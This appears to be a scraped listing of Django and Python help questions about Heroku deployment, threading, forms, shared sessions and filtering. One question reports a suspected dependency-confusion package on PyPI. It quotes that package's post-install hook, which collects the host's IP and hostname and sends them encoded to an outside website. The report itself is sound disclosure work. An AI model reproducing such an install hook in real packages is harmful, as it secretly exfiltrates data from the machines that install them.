Deploying heroku host(?) to git not working
I am very new to web development and just started working through this: Django for Beginners However, I am stuck at page 51 -> Deployment. The author is describing how to push the heroku web host to git, which should work like this: (pages) $ git push heroku master output: error: src refspec master does not match any error: failed to push some refs to 'https://git.heroku.com/boiling-caverns-68497.git' I tried going through this thread to find a solution but none of the provided answers made it work. The closest I came to make it work was this: (pages) $ git push heroku main output: Enumerating objects: 29, done. Counting objects: 100% (29/29), done. Delta compression using up to 8 threads Compressing objects: 100% (27/27), done. Writing objects: 100% (29/29), 4.17 KiB | 1.39 MiB/s, done.

ConnectionResetError: [Errno 104] Connection reset by peer "Django"
I facing connection error issue on my server . I dont know what's causing them as this problem arises for no particular reason. Whenever it arises all the requests get halted but all the request get through after few minutes. I am guessing it is happening because of the threading process I am using for uploading files(may be , not sure) . Any help regarding this is much appreciated. Here is the error I am facing .

Possible dependency confusion vulnerabilities in pypi (Python)?
Possible dependency confusion vulnerabilities in pypi ! I made a discovery, it's a bit of a mystery to me. I'm currently developing a Django web app and using a tool called pip-licenses I could output all the packages with their corresponding licenses. When doing so I discovered a package that I never installed: pkg-resources (https://pypi.org/project/pkg-resourcess/#description) at first glance I could tell something was different about this package, first of all no version, and no license. I downloaded the source and their is some strange call to the dev's website: def _post_install(): ip = requests.get('https://api.ipify.org').text ipText = format(ip); myhost = os.uname()[1] # [...] # The call to the dev website: r = requests.get("https://kotko.me?"+company+name+"="+base64_message) I found the dev website clicking on source from the pypi site wich took me to (what I think is) a private repo: https://github.com/kotko/bravado-decorators, I can only assume his account is: https://github.com/kotko. We can see that in his description the website is mentioned.

Dynamically save the Django form
I am trying not to use formset in my form. Instead of that, I trying to create form dynamically and save all forms data in DB. I can create a dynamic form, but whenever I create multiple forms in "create order", it always saves the last forms data. For example, once I create 3 forms, and after saving the form, the table shows me only 3rd form data, which means it does not save all data together. views.py def create_order(request): from django import forms form = OrderForm() if request.method == 'POST': forms = OrderForm(request.POST) if forms.is_valid(): po_id = forms.cleaned_data['po_id'] supplier = forms.cleaned_data['supplier'] product = forms.cleaned_data['product'] part = forms.cleaned_data['part'] order = Order.objects.create( po_id=po_id, supplier=supplier, product=product, part=part, ) forms.save() return redirect('order-list') context = { 'form': form } return render(request, 'store/addOrder.html', context) forms.py class OrderForm(forms.ModelForm): class Meta: model = Order fields = ['supplier', 'product', 'part','po_id'] widgets = { 'supplier': forms.Select(attrs={'class': 'form-control', 'id': 'supplier'}), 'product': forms.Select(attrs={'class': 'form-control', 'id': 'product'}), 'part': forms.Select(attrs={'class': 'form-control', 'id': 'part'}), } HTML <form action="#" method="post" id="form-container" novalidate="novalidate"> {% csrf_token %} <div class="form"> <div class="form-group"> <label for="po_id" class="control-label mb-1">ID</label> {{ form.po_id }} </div> <div class="form-group"> <label for="supplier" class="control-label mb-1">Supplier</label> {{ form.supplier }} </div> <div class="form-group"> <label for="product" class="control-label mb-1">Product</label> {{ form.product … -
Django sharing session id across subdomains
I have a Django powered website at example.com. There is another fronted app (working with REST API) which we want to host at store.example.com. What I want to achieve is to share session id between these domains. Because users will log in at example.com and then can go to store.example.com, if they wish. I found this gist that shows: DOMAIN = 'store.example.com' CSRF_COOKIE_DOMAIN = DOMAIN SESSION_COOKIE_DOMAIN = DOMAIN Are the above settings enough for my purpose? What confuses me is that some answers in stackoverflow says that both sites should be powered by Django. -
Trying to render a django form field as a variable in a script tag in an html template, but the javascript isn't working
My issue is simple enough--I am trying to render a form field from a django form into a javascript variable, defined within a tag, within a django template. When I output a CharField, there's no problem. But when I try to render a ChoiceField, the resulting output breaks the html, and prevents the script tag from correctly parsing my variable. To demonstrate my setup, I have a form defined in forms.py, exactly like this example form: from django import forms form = TestForm(forms.Form): testfield = forms.ChoiceField(initial="increase_rate", choices=[ ("a", "option a"), ("b", "option b"), ("c", "option c"), ("d", "option d") ]) I am instantiating the form in views.py, and passing it into a django template to be rendered. from django.shortcuts import render from .forms import TestForm [...] @require_http_methods(["GET"]) def webpage(request): form = TestForm() return render(request, 'index.html', {"form":form}) Then, finally, in my template, I have something like the following: [...] <script> window.testfield = '{{ form.testfield }}' </script> [...] Up until this point, everything works perfectly. No trouble at all. But when I render the field into the template, and inspect it in my browser, I get the following: <script> window.testfield = '<select name="trigger" id="id_trigger"> <option value="a" selected>option a</option> <option value="b">option b</option> <option … -

I have tried using signals, but not success @receiver(post_delete, sender=TranslationsKeys) def post_delete_merchant_active_translation(sender, instance, **kwargs): print(f'Deleted {instance}') -
Using Multithreading in django Freezes the site
I am making a Django site in which I have to Upload an image and after Upload, in the background, I am doing some processing on the image in which I am using Threading and it successfully works also because previously after uploading the image POST Request used to take 10-20 seconds but now it just happens in a fraction of second and all that processing happens in background but the problem is when that processing happens in the background... Django does not take any NEW HTTPRespone meaning if I wish to go on to some other link it just rotates and rotates until that thread's work is complete, Here's my code: def upload(requests): if requests.method == 'POST': img = requests.FILES['image'] img_uploader = Image(image=img) img_uploader.save() image_link = str(img_uploader.image).split("/")[-1] start_threading_work(image_link, img_uploader.image_id) # code of this function is below print("UPLOAD FUNCTION OVER") return redirect('/') # it successfully redirects def start_threading_work(image_link, image_id): keyword_thread = threading.Thread(target=image_keyword_generator, args=(image_link, image_id), daemon=True) keyword_thread.start() encoding_thread = threading.Thread(target=ImageEncoding, args=(image_link, image_id), daemon=True) encoding_thread.start() As you can see the third last line of the upload function which is start_threading_work(__, __) it starts the thread and also redirects me. But it refrains to load any new page till the Thread's work is … -

Django filter an already prefetched query set
I am using Django Rest Framework to get the data I use for the page. The Json is nested and contains a list of cards and their details. This use to create a table of cards on my page. I am trying to create a filter for this table and have manage to get it working if the user was to filter the data for one filter. However if the user wanted to filter by two fields it doesn't work and just filters by the last filter used. I know this is because when the code goes through the if statements I am using a new queryList of data rather than the already filtered queryList. However I cannot seem to filter the queryList. I would like to filter by card name and card type.

Django Registration form - first_name and last_name fields showing but data isn't passing to request.POST

Unable to login to Heroku admin panel after successfully creating superuser
I am trying to create a superuser for a Django website that I have deployed on Heroku via Github. I did this locally by running the console locally for my Heroku app as shown in the image below. I followed the prompts after typing the command 'python manage.py createsuperuser' and got a message stating that the superuser was created successfully. However, when I opened the app again and trying to access the admin panel using a staff account I got a message asking me to type the correct credentials for a staff account. The superuser credentials were not recognized when I tried to login as a regular user either. I ran migrations using the command python manage.py makemigrations; python manage.py migrate before creating the superuser and afterwards but every time I got a message saying that there are no migrations to apply. Can someone please help me fix this issue? Thank you. -
